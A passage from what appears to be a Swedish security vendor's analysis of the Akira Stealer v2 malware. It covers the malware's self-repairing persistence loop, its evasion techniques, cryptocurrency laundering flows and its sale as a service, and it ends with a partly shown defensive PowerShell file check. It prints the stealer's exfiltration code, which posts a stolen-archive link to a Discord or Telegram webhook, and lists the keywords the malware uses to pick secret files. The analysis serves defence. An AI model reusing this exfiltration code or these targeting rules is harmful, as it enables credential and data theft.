Webhook Infrastructure","\nAngriparen bäddar in webhook-endpointen i skadeprogrammets konfiguration:",[588,10564,10566],{"className":4492,"code":10565,"language":4494,"meta":594,"style":594},"# at class initialization\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[551,10567,10568,10573],{"__ignoreMap":594},[1684,10569,10570],{"class":1686,"line":1687},[1684,10571,10572],{},"# at class initialization\n",[1684,10574,10575],{"class":1686,"line":2063},[1684,10576,10577],{},"self.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\n",[604,10579,10580,10587],{},[607,10581,10582,973,10584],{},[540,10583,1318],{},[551,10585,10586],{},"https://discord.com/api/webhooks/\u003CWEBHOOK_ID>/\u003CWEBHOOK_TOKEN>",[607,10588,10589,973,10592],{},[540,10590,10591],{},"Telegram",[551,10593,10594],{},"https://api.telegram.org/bot\u003CTELEGRAM_TOKEN>/sendMessage",[533,10596,10597,10600],{},[540,10598,10599],{},"2. Real-Time Delivery","\nOmedelbart efter en lyckad filuppladdning kör skadeprogrammet:",[588,10602,10604],{"className":4492,"code":10603,"language":4494,"meta":594,"style":594},"payload = {\n  'username': 'Akira 💊',\n  'embeds': [{\n      'title': '🗄️ Exfiltration Complete',\n      'fields': [\n          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n      ]\n  }]\n}\n# Transmit the archive URL entirely in the JSON body\nrequests.post(self.default_webhook, json=payload, timeout=8)\n",[551,10605,10606,10610,10615,10620,10625,10630,10635,10640,10645,10649,10654],{"__ignoreMap":594},[1684,10607,10608],{"class":1686,"line":1687},[1684,10609,10481],{},[1684,10611,10612],{"class":1686,"line":2063},[1684,10613,10614],{},"  'username': 'Akira 💊',\n",[1684,10616,10617],{"class":1686,"line":2069},[1684,10618,10619],{},"  'embeds': [{\n",[1684,10621,10622],{"class":1686,"line":2075},[1684,10623,10624],{},"      'title': '🗄️ Exfiltration Complete',\n",[1684,10626,10627],{"class":1686,"line":2396},[1684,10628,10629],{},"      'fields': [\n",[1684,10631,10632],{"class":1686,"line":2402},[1684,10633,10634],{},"          {'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}\n",[1684,10636,10637],{"class":1686,"line":3060},[1684,10638,10639],{},"      ]\n",[1684,10641,10642],{"class":1686,"line":3856},[1684,10643,10644],{},"  }]\n",[1684,10646,10647],{"class":1686,"line":3862},[1684,10648,2405],{},[1684,10650,10651],{"class":1686,"line":4107},[1684,10652,10653],{},"# Transmit the archive URL entirely in the JSON body\n",[1684,10655,10656],{"class":1686,"line":5033},[1684,10657,10658],{},"requests.post(self.default_webhook, json=payload, timeout=8)\n",[604,10660,10661,10670],{},[607,10662,10663,10664,10666,10667,586],{},"Variabeln ",[551,10665,10517],{}," interpoleras in i embedens ",[551,10668,10669],{},"fields.value",[607,10671,10672,10673,10675,10676,586],{},"För Telegram-fallback dyker ",[551,10674,10517],{}," upp i klartextparametern ",[551,10677,10678],{},"message",[533,10680,10681],{},[540,10682,10683],{},"3. EDR & Forensic Visibility Limitations",[604,10685,10686,10695],{},[607,10687,10688,10691,10692,10694],{},[540,10689,10690],{},"No Local Logging",": Skadeprogrammet skriver inte ",[551,10693,10517],{}," till disk eller systemloggar.",[607,10696,10697,10700],{},[540,10698,10699],{},"EDR Blind Spots",": Verktyg som Microsoft Defender for Endpoint kan flagga HTTP-anropsförsöket men kan inte extrahera den inbäddade URL:en.",[533,10702,10703],{},[540,10704,10705],{},"4. Why the Analyst Cannot Recover This Locally:",[604,10707,10708,10720,10740],{},[607,10709,10710,10713,10714,10716,10717,10719],{},[540,10711,10712],{},"No Local Copy of Link",": Skadeprogrammet skriver ",[551,10715,10517],{}," endast i minnet och överför den över nätverket; det sparar ",[4630,10718,1581],{}," denna URL till disk eller loggar.",[607,10721,10722,10725,10726,10728,10733,10734,10736,10737,586],{},[540,10723,10724],{},"Ephemeral Staging Cleanup",": Omedelbart efter uppladdning kör koden:",[698,10727],{},[1684,10729,10732],{"className":10730},[10731],"text-monospace","shutil.rmtree(ROOT)",",",[698,10735],{},"\nvilket raderar alla stage:ade artefakter (inklusive eventuella temporära textfiler) från ",[551,10738,10739],{},"%TEMP%",[607,10741,10742,10745,10746,10749],{},[540,10743,10744],{},"Network-Only Transmission",": Webhook-anropen (",[551,10747,10748],{},"requests.post",") sker i minnet; inga HTTP-loggar eller poster i webbläsarhistoriken skapas på offrets dator.",[821,10751,10752],{},[533,10753,10754,10757,10758,10760,10761,10763],{},[540,10755,10756],{},"Implication for Analysts:","\nUtan live paketfångst (t.ex. nätverks-TAP eller proxy) vid tidpunkten för exekvering går den exakta ",[551,10759,10517],{}," inte att återskapa efter infektionen.\nDessutom raderas det exfiltrerade arkivet automatiskt från hostingtjänsten, vilket ytterligare minskar fönstret för forensisk uthämtning.\nImaging efter infektionen eller värdbaserad forensisk återställning kommer ",[4630,10762,1581],{}," att avslöja angriparens URL eller filvärdens autentiseringsuppgifter, eftersom inga artefakter finns kvar lokalt.",[827,10765],{"className":10766},[830,831],[714,10768,10770],{"id":10769},"_713-slutsats","7.13 Slutsats",[533,10772,720],{},[533,10774,10775,10777],{},[551,10776,582],{}," (Akira Stealer v2) är en omfattande, kommersiellt distribuerad stealer-verktygslåda. Den kombinerar bred inriktning, sofistikerad anti-analys, dynamisk infrastrukturkontroll och full-stack-datastöld över autentiseringsuppgifter, krypto, systemprofilering och användarfiler. Dess modularitet och smyghet, i kombination med snabba metoder för återinfektion, gör den till en av de mest tekniskt avancerade stealers som observerats i aktiv användning.",[528,10779,10781],{"id":10780},"_8-cirkulär-exekveringskedja-en-självläkande-loop","8. Cirkulär exekveringskedja: en självläkande loop",[533,10783,535],{},[533,10785,10786,10787,10790],{},"Ett av de mest tekniskt avancerade elementen i den här kampanjen är dess regenerativa, cirkulära exekveringsmodell. Till skillnad från konventionell malware med linjära steg som går från dropper till payload och sedan försvinner, konstruerades den här operationen som en ",[540,10788,10789],{},"closed loop",", där varje komponent bevakar de andra.",[533,10792,10793,10794,10797],{},"Den här ",[540,10795,10796],{},"självläkande arkitekturen"," gjorde infektionskedjan inte bara beständig, utan också autonom. Den kunde återhämta sig helt från partiella borttagningar. Så länge en enda del förblev vid liv kunde hela malware-ekosystemet sätta ihop sig självt igen.",[714,10799,10801],{"id":10800},"_81-beteendeanalys","8.1 Beteendeanalys",[533,10803,720],{},[2083,10805,10806,10832,10845,10876,10894],{},[607,10807,10808,10813,10815,10816,10819,10820,10822,10823,10825,10826,10828,10829,10831],{},[540,10809,10810,10811,1113],{},"Persistence Anchor (",[551,10812,574],{},[551,10814,574],{}," fungerar som det grundläggande fotfästet. Den släpps vanligtvis in i en startplats för Windows-användaren, till exempel ",[551,10817,10818],{},"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup",", eller registreras via ",[551,10821,1656],{},". Dess uppgift är enkel men kritisk: säkerställa att ",[551,10824,578],{}," finns och starta den tyst vid användarens inloggning. Om ",[551,10827,578],{}," saknas extraherar den på nytt arkivet ",[551,10830,1826],{}," (som ligger i en temp-mapp eller släpps in på nytt) och återskapar hela Electron-appstrukturen.",[607,10833,10834,10839,10841,10842,10844],{},[540,10835,10836,10837,1113],{},"Bridge Loader (",[551,10838,578],{},[551,10840,578],{}," är den Electron-inkapslade Node.js-applikationen. Den exponerar inget GUI och arbetar helt i bakgrunden. Vid exekvering kör den den inbäddade JavaScript-logiken i ",[551,10843,1047],{}," och använder Node.js som runtime-miljö. Det här abstraktionslagret frikopplar kärnlogiken från PE-stubben, vilket hjälper till att undgå traditionell analys.",[607,10846,10847,10852,10853,10855,10856],{},[540,10848,10849,10850,1113],{},"Execution Orchestrator (",[551,10851,2810],{},"\nInbäddad i ",[551,10854,1047],{}," är detta infektionskedjans egentliga styrenhet. Dess huvudfunktioner omfattar:",[604,10857,10858,10864,10867],{},[607,10859,10860,10861,10863],{},"Att kontrollera om ",[551,10862,574],{}," finns och distribuera den på nytt om den saknas",[607,10865,10866],{},"Att dynamiskt injicera runtime-konfiguration: webhook-URL:er, C2-adresser, tokens",[607,10868,10869,10870,10872,10873,10875],{},"Att antingen anropa den redan närvarande Python-payloaden (",[551,10871,582],{},") eller ladda ner den som en del av ett ZIP-paket (t.ex. ",[551,10874,2874],{},") från angriparkontrollerad infrastruktur",[607,10877,10878,10883,10884,10886,10887,10889,10890,10893],{},[540,10879,10880,10881,1113],{},"Payload Execution (",[551,10882,582],{},"\nNär den väl utlöses exekveras ",[551,10885,582],{}," i minnet via ",[551,10888,553],{},". Den samlar systematiskt in sparade credentials, cookies, Discord-tokens, browser-sessionsdata och tillägg för kryptovalutaplånböcker. Datan förbereds i ett ZIP-arkiv och exfiltreras via HTTPS, oftast till Discord-webhooks, men även fallback-API:er som ",[551,10891,10892],{},"gofile.io"," eller anpassade C2-endpoints har observerats.",[607,10895,10896,10899,10900,10902,10903,10905,10906,10908,10909,10911,10912,10914],{},[540,10897,10898],{},"Loop Integrity and Self-Healing","\nDesignen är cirkulär. Om ",[551,10901,574],{}," raderas distribueras den på nytt. Om ",[551,10904,578],{}," saknas extraherar ",[551,10907,574],{}," den på nytt från ",[551,10910,1826],{},". Om ",[551,10913,582],{}," raderas hämtas den på nytt av JavaScript-lagret. Det här ömsesidiga beroendet gör malwaren motståndskraftig och kapabel att rekonstruera sin exekveringskedja från praktiskt taget vilket överlevande fragment som helst.",[533,10916,10917,10918,10921],{},"Den här arkitekturen är inte bara modulär, den är ",[540,10919,10920],{},"självförsörjande",", medvetet konstruerad för stealth, flexibilitet och långsiktig överlevnad i målmiljöer.",[714,10923,10925],{"id":10924},"_82-varför-detta-är-anmärkningsvärt","8.2 Varför detta är anmärkningsvärt",[533,10927,720],{},[533,10929,10930,10931,586],{},"Kampanjens arkitektoniska design speglar en nivå av sofistikering som man vanligtvis inte ser hos vanliga infostealers. Den går bortom enkla flerstegsladdare, det här är malware konstruerad för ",[540,10932,10933],{},"operativ motståndskraft, stealth och automatisering",[533,10935,10936],{},[540,10937,10938],{},"Key Characteristics",[604,10940,10941,10947,10985,11005],{},[607,10942,10943,10946],{},[540,10944,10945],{},"Full Autonomy","\nNär den väl är distribuerad kräver malwaren ingen användarinteraktion eller extern återaktivering. Den agerar som en illasinnad mikrotjänst och orkestrerar sin egen persistence, payload-exekvering och reparationsrutiner utan extern styrning.",[607,10948,10949,10952,10953],{},[540,10950,10951],{},"Multi-Language Execution Stack","\nVerktygskedjan integrerar:",[604,10954,10955,10965,10971,10977],{},[607,10956,10957,10960,10961,620,10963,1113],{},[540,10958,10959],{},"PE Binaries"," (",[551,10962,574],{},[551,10964,578],{},[607,10966,10967,10970],{},[540,10968,10969],{},"Node.js / JavaScript"," (via Electron)",[607,10972,10973,10976],{},[540,10974,10975],{},"PowerShell"," (används för obfuskerad payload-relä)",[607,10978,10979,10960,10982,10984],{},[540,10980,10981],{},"Python",[551,10983,582],{},", exekverad som minnesresident stealer)\nDen här skiktade sammansättningen gör det svårare att profilera, fingeravtrycka och analysera med konventionella statiska verktyg.",[607,10986,10987,10990,10991],{},[540,10988,10989],{},"Defense Evasion by Design","\nVarje komponent är kodad, krypterad eller dynamiskt injicerad:",[604,10992,10993,10996,10999,11002],{},[607,10994,10995],{},"Base64 PowerShell-relä",[607,10997,10998],{},"AES-krypterad och GZIP-komprimerad Python-kärna",[607,11000,11001],{},"Obfuskerad JavaScript med runtime-tokeninjektion",[607,11003,11004],{},"Självläkande beteende som försvårar partiell borttagning",[607,11006,11007,11010,11011,10911,11014,11016,11017,11019],{},[540,11008,11009],{},"No Single Point of Failure","\nMalwarens självreparationslogik säkerställer att ",[540,11012,11013],{},"borttagning av en enskild komponent inte räcker",[551,11015,574],{}," tas bort återskapar infostealern den. Om ",[551,11018,582],{}," raderas laddas den ner och distribueras på nytt av JavaScript-styrenheten.",[533,11021,11022,11023,11026],{},"Kort sagt beter sig malwaren mer som ett ",[540,11024,11025],{},"distribuerat system"," än en typisk payload, ett system som prioriterar överlevnad, modularitet och stealth.",[533,11028,11029,11030,11033],{},"Det här lyfter hotet från en opportunistisk attack till en ",[540,11031,11032],{},"motståndskraftig, adaptiv plattform",", vilket kräver att försvarare möter dess komplexitet med lika skiktade detekterings- och responsstrategier.",[714,11035,11037],{"id":11036},"_83-konsekvenser-för-blue-teams","8.3 Konsekvenser för blue teams",[533,11039,720],{},[533,11041,11042],{},"För försvarare och CSOC-operatörer höjer den här sortens arkitektur ribban:",[604,11044,11045,11051,11066],{},[607,11046,11047,11050],{},[540,11048,11049],{},"Partiell sanering är verkningslös",". Alla noder måste identifieras och tas bort samtidigt.",[607,11052,11053,11056,11057,11059,11060,11059,11062,11059,11064,586],{},[540,11054,11055],{},"Defender for Endpoint-korrelation"," är avgörande. Analytiker måste spåra hela kedjor: från ",[551,11058,574],{}," → ",[551,11061,1102],{},[551,11063,1199],{},[551,11065,553],{},[607,11067,11068,11071],{},[540,11069,11070],{},"IOC-fri persistence"," innebär att minnesbaserad heuristik, baslinjer för telemetri och kedjebaserad detektering är nyckeln.",[533,11073,11074,11075,11078],{},"Det här är inte bara en stealer. Det är en ",[540,11076,11077],{},"motståndskraftig malware-plattform",", som beter sig mer som ett distribuerat system än ett enkelt hot. Och det är precis det som gör den både imponerande och farlig.",[528,11080,11082],{"id":11081},"_9-blockchain-spårning-och-analys","9. Blockchain-spårning och analys",[533,11084,535],{},[714,11086,11088],{"id":11087},"_91-att-spåra-penningflöden-i-en-litecoin-baserad-malware-kampanj","9.1 Att spåra penningflöden i en Litecoin-baserad malware-kampanj",[533,11090,720],{},[533,11092,11093,11094,11097],{},"Under reverse engineering-fasen av den här malware-kampanjen extraherade vi flera hårdkodade plånboksadresser som stealern använde för exfiltrering av kryptovaluta. Genom att följa on-chain-aktiviteten hos dessa Litecoin-plånböcker kunde vi avslöja mönster som tyder på avsiktlig penningtvättstaktik. Den angriparkontrollerade plånboken ",[551,11095,11096],{},"LW6EopiZ..."," fungerar som en central aggregeringspunkt. Medel som stulits från flera offer slussas in i den här adressen, varefter de snabbt omfördelas över flera nya adresser.",[533,11099,11100],{},"Beteendet som ses här är representativt för ett klassiskt split-transfer-mönster som används vid crypto tumbling eller mixing-operationer. I varje fall delas hela det inkommande saldot upp i två ungefär proportionella utgående transaktioner, var och en skickad till en annan plånbok. Den här strategin är utformad för att försvåra address clustering och chain tracing genom att obfuskera medlens ursprung. Det är en effektiv taktik för att undgå detektering av automatiserade blockchain-analys- och threat intelligence-plattformar.",[533,11102,11103],{},"Det här penningtvättsbeteendet utnyttjar en kombination av transaktionstajming, exakt värdeuppdelning och minimerad återanvändning av adresser för att kringgå heuristik som vanligtvis tillämpas av clustering-algoritmer som de som används i GraphSense, Chainalysis eller TRM Labs. Den övergripande avsikten är att skapa transaktionsflöden med hög entropi, vilket förvirrar attribution och stör länkbarhet, särskilt när medlen till slut bryggas över andra tillgångar eller växlas till integritetsinriktade coins.",[533,11105,11106],{},"I exemplet nedan visar vi en strukturerad delmängd av det här beteendet. De inkommande transaktionerna representerar distinkta offeröverföringar. Dessa värden mappas sedan perfekt till utgående flöden, vilket visar hur coins \"tvättas\" genom snabba, förutsägbara och algoritmiskt uppdelade utbetalningar.",[1392,11108,4685,11111],{"className":11109,"style":4684},[11110],"font-size-1",[1408,11112,11113,4685,11136,4685,11169,4685,11197,4685,11226],{},[1398,11114,4690,11115,4690,11119,4690,11123,4690,11126,4690,11130,4690,11133,4685],{},[1401,11116,11118],{"style":11117},"text-align: left; width: 14%;","Input Source",[1401,11120,11122],{"style":11121},"text-align: left; width: 12%;","Input Date",[1401,11124,11125],{"style":11117},"Amount In (LTC)",[1401,11127,11129],{"style":11128},"text-align: left; width: 20%;","→ Attacker Wallet",[1401,11131,11132],{"style":6306},"Output Addresses",[1401,11134,11135],{"style":4855},"Total Out (LTC)",[1398,11137,4690,11138,4690,11141,4690,11144,4690,11147,4690,11154,4690,11167,4685],{},[1413,11139,11140],{},"Input_1",[1413,11142,11143],{},"2024-09-21",[1413,11145,11146],{},"0.25339198",[1413,11148,11149,11150,4690],{},"\n      ",[1684,11151,11153],{"title":11152},"LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH","LLQtaBnSAF...",[1413,11155,11156,11157,11160,11161,11156,11163,11166],{},"\n      - ",[551,11158,11159],{},"LZmHkgkED..."," (0.15579078, 2024-09-26)",[698,11162],{},[551,11164,11165],{},"M8JpDsw5H7..."," (0.09760120, 2024-09-26)\n    ",[1413,11168,11146],{},[1398,11170,4690,11171,4690,11174,4690,11177,4690,11180,4690,11184,4690,11195,4685],{"style":4711},[1413,11172,11173],{},"Input_2",[1413,11175,11176],{},"2024-04-16",[1413,11178,11179],{},"1.09976044",[1413,11181,11149,11182,4690],{},[1684,11183,11153],{"title":11152},[1413,11185,11156,11186,11189,11190,11156,11192,11194],{},[551,11187,11188],{},"LgWrCAF8ED..."," (0.84304664, 2024-06-13)",[698,11191],{},[551,11193,11188],{}," (0.25671380, 2024-06-13)\n    ",[1413,11196,11179],{},[1398,11198,4690,11199,4690,11202,4690,11205,4690,11208,4690,11212,4690,11224,4685],{},[1413,11200,11201],{},"Input_3",[1413,11203,11204],{},"2024-03-06",[1413,11206,11207],{},"0.77089346",[1413,11209,11149,11210,4690],{},[1684,11211,11153],{"title":11152},[1413,11213,11156,11214,11217,11218,11156,11220,11223],{},[551,11215,11216],{},"LZL3wQcSRP..."," (0.38544673, 2024-03-04)",[698,11219],{},[551,11221,11222],{},"M8kiBpVHG3..."," (0.38544673, 2024-03-04)\n    ",[1413,11225,11207],{},[1398,11227,4690,11228,4690,11231,4690,11233,4690,11235,4690,11239,4690,11249,4685],{"style":4711},[1413,11229,11230],{},"Input_4",[1413,11232,11204],{},[1413,11234,11207],{},[1413,11236,11149,11237,4690],{},[1684,11238,11153],{"title":11152},[1413,11240,11156,11241,11217,11244,11156,11246,11223],{},[551,11242,11243],{},"LUFLTrqYpix...",[698,11245],{},[551,11247,11248],{},"La22dfH9eM...",[1413,11250,11207],{},[827,11252],{"className":11253},[830,831],[528,11255,11257],{"id":11256},"_10-inuti-akira-ekosystemet-kommersialiserad-cyberbrottsinfrastruktur","10. Inuti Akira-ekosystemet – kommersialiserad cyberbrottsinfrastruktur",[533,11259,535],{},[533,11261,11262],{},"Akira är inte bara en stealer, den är mittpunkten i ett blomstrande underjordiskt ekosystem utformat för att förenkla, skala upp och tjäna pengar på cyberbrottslighet.",[714,11264,11266],{"id":11265},"_101-ett-plug-and-play-ekosystem-för-hotaktörer","10.1 Ett plug-and-play-ekosystem för hotaktörer",[533,11268,720],{},[533,11270,11271],{},"Akira-ekosystemet exemplifierar utvecklingen av cyberbrottslighet till en professionaliserad, tjänstedriven ekonomi. Det omfattar:",[604,11273,11274,11283,11289,11295,11301],{},[607,11275,11276,11279,11280,1113],{},[540,11277,11278],{},"Builder Bots"," för payload-generering på begäran (t.ex. ",[551,11281,11282],{},"@AkiraRedBot",[607,11284,11285,11288],{},[540,11286,11287],{},"Telegram-kanaler"," för uppdateringar, funktionsförfrågningar och kundsupport",[607,11290,11291,11294],{},[540,11292,11293],{},"Automatiserad licens- och betalningshantering",", ofta via direktmeddelanden eller anonyma e-handelsplattformar som Sellix",[607,11296,11297,11300],{},[540,11298,11299],{},"Buntade moduler"," som clipboard hijackers, Discord token loggers, browser data stealers och till och med ransomware-tillägg",[607,11302,11303,11306],{},[540,11304,11305],{},"Anpassningsbara payloads"," med konfigurationsgränssnitt som tillåter växlingsreglage, webhook-input och ikonbranding",[533,11308,11309],{},[748,11310],{"alt":11311,"src":11312},"Akira Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797420/blog/pics/akira-stealer-v2.jpg",[714,11314,11316],{"id":11315},"_102-kommersialisering-av-cyberbrottslighet","10.2 Kommersialisering av cyberbrottslighet",[533,11318,720],{},[533,11320,11321],{},"Akiras struktur speglar en bredare rörelse mot \"Malware-as-a-Service\" (MaaS), där:",[604,11323,11324,11330,11336,11342],{},[607,11325,11326,11329],{},[540,11327,11328],{},"Ingen djup teknisk kompetens"," krävs för att starta attacker",[607,11331,11332,11335],{},[540,11333,11334],{},"Låga inträdeskostnader"," ($75 för 3 månader, $150 för livstid)",[607,11337,11338,11341],{},[540,11339,11340],{},"Omedelbar support och dokumentation"," via Telegram",[607,11343,11344,11347],{},[540,11345,11346],{},"Bidrag från communityn"," utökar regelbundet Akira med skript och funktionsförslag",[533,11349,11350],{},"Det här ekosystemet efterliknar legitima SaaS-affärsmodeller, med changelogs, UX-förbättringar, prisnivåer och upsells.",[533,11352,11353],{},[748,11354],{"alt":11355,"src":11356},"Akria Stealer","https://res.cloudinary.com/c4a8/image/upload/v1749797061/blog/pics/akira-stealer.jpg",[714,11358,11360],{"id":11359},"_103-bortom-stealern-ekosystemets-komponenter","10.3 Bortom stealern – ekosystemets komponenter",[533,11362,720],{},[533,11364,1715,11365,11367],{},[551,11366,582],{}," är hjärtat i många attacker tillhandahåller ekosystemet en fullständig kedja:",[604,11369,11370,11373,11376,11379,11382],{},[607,11371,11372],{},"Obfuskeringsverktyg som PyInstaller-wrappers",[607,11374,11375],{},"File binders för att koppla ihop illasinnade payloads med godartad programvara",[607,11377,11378],{},"Compilers, crypters och runtime-polymorfism",[607,11380,11381],{},"Hosting-speglar för payload-leverans och exfiltrering (t.ex. GoFile, AnonFiles)",[607,11383,11384],{},"Datahanteringsbottar som sammanfattar stulna credentials och hårdvaruprofiler",[533,11386,11387],{},[748,11388],{"alt":11389,"src":11390},"Akira Bot","https://res.cloudinary.com/c4a8/image/upload/v1749797107/blog/pics/akira-bot.jpg",[528,11392,11394],{"id":11393},"_11-akira-stealer-quickcheck-berörda-filer","11. Akira Stealer QuickCheck: berörda filer",[533,11396,535],{},[714,11398,11400],{"id":11399},"_111-vad-är-detta-till-för","11.1 Vad är detta till för?",[533,11402,720],{},[533,11404,11405,11406,620,11409,620,11412,558,11415,11418],{},"Efter en misstänkt Akira Stealer-infektion är det avgörande att omedelbart veta vilka filer på ditt system som riskerade att exfiltreras. QuickCheck-PowerShell-skriptet som beskrivs ovan replikerar Akiras exakta söklogik: det skannar användarens mappar ",[540,11407,11408],{},"Desktop",[540,11410,11411],{},"Documents",[540,11413,11414],{},"Downloads",[540,11416,11417],{},"OneDrive"," efter filer som:",[604,11420,11421,11436,11439],{},[607,11422,11423,11424,620,11427,620,11430,8770,11433],{},"Innehåller känsliga nyckelord i sitt filnamn, som ",[551,11425,11426],{},"password",[551,11428,11429],{},"wallet",[551,11431,11432],{},"backup",[551,11434,11435],{},"token",[607,11437,11438],{},"Har specifika filändelser som ofta är måltavlor (.txt, .docx, .pdf, .jpg osv.)",[607,11440,11441],{},"Ligger under storleksgränsen på 2 MB som malwaren använder",[533,11443,11444,11445,11448],{},"Även om QuickCheck erbjuder en snabb överblick baserad på Akira Stealers interna logik, är ",[540,11446,11447],{},"den inte en ersättning"," för omfattande forensiska verktyg eller professionell incident response. Följ alltid upp med djupare analys vid bekräftade intrång.",[533,11450,11451,11452,620,11455,620,11458,11461,11462,586],{},"Den presenterar sedan en sorterad tabell med ",[540,11453,11454],{},"Filename",[540,11456,11457],{},"Relative Path",[540,11459,11460],{},"Size (KB)"," och det ",[540,11463,11464],{},"utlösande nyckelordet",[821,11466,11467],{},[533,11468,11469,11472,11473,11476,11477,11479,11480,11483],{},[540,11470,11471],{},"DISCLAIMER","\nDet här verktyget tillhandahålls ",[540,11474,11475],{},"\"as is\""," utan någon garanti för fullständighet eller lämplighet för ett visst ändamål. Det garanterar ",[540,11478,1581],{}," detektering av ",[540,11481,11482],{},"alla"," potentiellt känsliga filer, och ersätter inte heller fullständig malware-forensik. Använd på egen risk.",[827,11485],{"className":11486},[830],[714,11488,514],{"id":11489},"juridisk-information",[533,11491,720],{},[533,11493,11494,11495,11498,11499,11502],{},"Det här QuickCheck-verktyget är endast avsett för bedömningar inom ",[540,11496,11497],{},"defensiv säkerhet",". All obehörig skanning eller användning på system du inte äger kan bryta mot lagar om integritet, upphovsrätt eller datormissbruk. glueckkanja AG tar ",[540,11500,11501],{},"inget ansvar"," för missbruk eller skador som uppstår till följd av användningen.",[714,11504,11506],{"id":11505},"powershell-skript","PowerShell-skript",[533,11508,720],{},[588,11510,11512],{"className":1678,"code":11511,"language":1680,"meta":594,"style":594},"\u003C#\n.SYNOPSIS\n    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n\n.DESCRIPTION\n    Scans Desktop, Documents, Downloads and OneDrive for files that:\n      • Contain one of the defined keywords in their name\n      • Have an allowed file extension\n      • Are not larger than 2 MB\n    Presents the results in a colored, tabular overview.\n\n.NOTES\n    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n#>\n\n# -------------------------------------\n# 1. Configuration\n# -------------------------------------\n$scanFolders = @(\n    \"$env:USERPROFILE\\Desktop\",\n    \"$env:USERPROFILE\\Documents\",\n    \"$env:USERPROFILE\\Downloads\",\n    \"$env:USERPROFILE\\OneDrive\"\n)\n$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n$maxSize    = 2MB\n\n# -------------------------------------\n# 2. Scan and Collect Matches\n# -------------------------------------\n$matches = [System.Collections.Generic.List[PSObject]]::new()\n\nforeach ($folder in $scanFolders) {\n    if (-not (Test-Path $folder)) { continue }\n    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n        # 2.1 Extension filter\n        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n        # 2.2 Size filter\n        if ($_.Length -gt $maxSize) { return }\n\n        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n        $hit = $null\n        foreach ($kw in $keywords) {\n            if ($_.Name.ToLower().Contains($kw)) {\n                $hit = $kw\n                break\n            }\n        }\n        if (-not $hit) { return }\n\n        # 2.4 Build relative path\n        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n\n        # 2.5 Collect\n        $matches.Add([PSCustomObject]@{\n            FileName    = $_.Name\n            Location    = $rel\n            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n            Keyword     = $hit\n        })\n    }\n}\n\n# -------------------------------------\n# 3. Display Results\n# -------------------------------------\nclear\nWrite-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\nWrite-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n\nif ($matches.Count -gt 0) {\n    $matches |\n        Sort-Object Location, FileName |\n        Format-Table -AutoSize `\n            @{Label='File';       Expression={$_.FileName}},\n            @{Label='Location';   Expression={$_.Location}},\n            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n            @{Label='Keyword';    Expression={$_.Keyword}}\n\n    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n}\nelse {\n    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n}\n\nWrite-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\nWrite-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[551,11513,11514,11519,11524,11529,11533,11538,11543,11548,11553,11558,11563,11567,11572,11577,11582,11586,11591,11596,11600,11605,11610,11615,11620,11625,11629,11634,11639,11644,11648,11652,11657,11661,11666,11670,11675,11680,11685,11690,11695,11700,11705,11709,11714,11719,11724,11729,11734,11739,11744,11749,11754,11758,11763,11768,11772,11777,11782,11787,11792,11797,11802,11807,11812,11816,11820,11824,11829,11833,11838,11843,11848,11852,11857,11862,11867,11872,11877,11882,11887,11893,11898,11904,11909,11915,11921,11926,11931,11937],{"__ignoreMap":594},[1684,11515,11516],{"class":1686,"line":1687},[1684,11517,11518],{},"\u003C#\n",[1684,11520,11521],{"class":1686,"line":2063},[1684,11522,11523],{},".SYNOPSIS\n",[1684,11525,11526],{"class":1686,"line":2069},[1684,11527,11528],{},"    QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.\n",[1684,11530,11531],{"class":1686,"line":2075},[1684,11532,3853],{"emptyLinePlaceholder":325},[1684,11534,11535],{"class":1686,"line":2396},[1684,11536,11537],{},".DESCRIPTION\n",[1684,11539,11540],{"class":1686,"line":2402},[1684,11541,11542],{},"    Scans Desktop, Documents, Downloads and OneDrive for files that:\n",[1684,11544,11545],{"class":1686,"line":3060},[1684,11546,11547],{},"      • Contain one of the defined keywords in their name\n",[1684,11549,11550],{"class":1686,"line":3856},[1684,11551,11552],{},"      • Have an allowed file extension\n",[1684,11554,11555],{"class":1686,"line":3862},[1684,11556,11557],{},"      • Are not larger than 2 MB\n",[1684,11559,11560],{"class":1686,"line":4107},[1684,11561,11562],{},"    Presents the results in a colored, tabular overview.\n",[1684,11564,11565],{"class":1686,"line":5033},[1684,11566,3853],{"emptyLinePlaceholder":325},[1684,11568,11569],{"class":1686,"line":5039},[1684,11570,11571],{},".NOTES\n",[1684,11573,11574],{"class":1686,"line":5045},[1684,11575,11576],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1684,11578,11579],{"class":1686,"line":5051},[1684,11580,11581],{},"#>\n",[1684,11583,11584],{"class":1686,"line":5057},[1684,11585,3853],{"emptyLinePlaceholder":325},[1684,11587,11588],{"class":1686,"line":5063},[1684,11589,11590],{},"# -------------------------------------\n",[1684,11592,11593],{"class":1686,"line":5069},[1684,11594,11595],{},"# 1. Configuration\n",[1684,11597,11598],{"class":1686,"line":5075},[1684,11599,11590],{},[1684,11601,11602],{"class":1686,"line":5081},[1684,11603,11604],{},"$scanFolders = 